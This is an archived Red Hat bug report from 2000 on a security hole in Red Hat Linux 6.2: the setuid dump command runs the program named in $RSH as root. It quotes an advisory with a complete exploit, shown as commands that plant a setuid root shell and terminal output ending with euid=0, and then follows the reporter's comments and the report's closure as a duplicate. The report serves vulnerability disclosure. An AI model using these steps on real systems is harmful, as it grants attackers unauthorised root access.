Bug 20112 - dump executes $RSH with root privs
Summary: dump executes $RSH with root privs
Status: CLOSED DUPLICATE of bug 20111
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: dump
Version: 6.2
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Preston Brown
QA Contact: Dale Lovelace
Keywords: Security
Depends On:
TreeView+ depends on / blocked
Reported: 2000-10-31 17:53 UTC by Daniel Roesen
Modified: 2007-03-27 03:37 UTC (History)
0 users

Clone Of:
Last Closed: 2000-10-31 18:30:14 UTC

Attachments (Terms of Use)

Description Daniel Roesen 2000-10-31 17:53:38 UTC
From: JW Oh <mat@IVNTECH.COM>
Subject: Redhat 6.2 dump command executes external program with suid
Date: Tue, 31 Oct 2000 14:37:35 +0900

1. Problem:
 Linux dump command executes external program with suid priviledge.
2. Tested Version
3. Example
 [mat@localhost mat]$ export TAPE=garbage:garbage
[mat@localhost mat]$ export RSH=/home/mat/execute_this
[mat@localhost mat]$ cat > /home/mat/execute_this
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh
[mat@localhost mat]$ chmod 755 /home/mat/execute_this
[mat@localhost mat]$ /sbin/dump -0 /
  DUMP: Connection to garbage established.
  DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
  DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
 [mat@localhost mat]$ ls -la /home/mat/sh
 -rwsr-xr-x    1 root     tty        316848 Oct 31 14:38 /home/mat/sh
 [mat@localhost mat]$ /home/mat/sh
 bash# id
 uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)
|                                               |
|               mat@hacksware.com               |
|                                               |

Comment 1 Daniel Roesen 2000-10-31 18:02:06 UTC
WTF is dump on RH <7 setuid root anyway? RH7 dump is chmod 755 as it should be.

Comment 2 Daniel Roesen 2000-10-31 18:30:11 UTC
And another question: as Red Hat decided to remove the suid bit on RH7 
(obviously because of security concerns), why didn't we see a security errata 
update for RH 6.x at the time this decision was made? Do all vulnerabilites 
have to get exploited and/or posted to BugTraq before actions get taken?

Admitted, I'm "a little bit" pissed right now.

Comment 3 Daniel Roesen 2000-10-31 20:56:32 UTC
Closing this report as duplicate... phr@doc.ic.ac.uk was a minute faster than 
me :-]

*** This bug has been marked as a duplicate of 20111 ***

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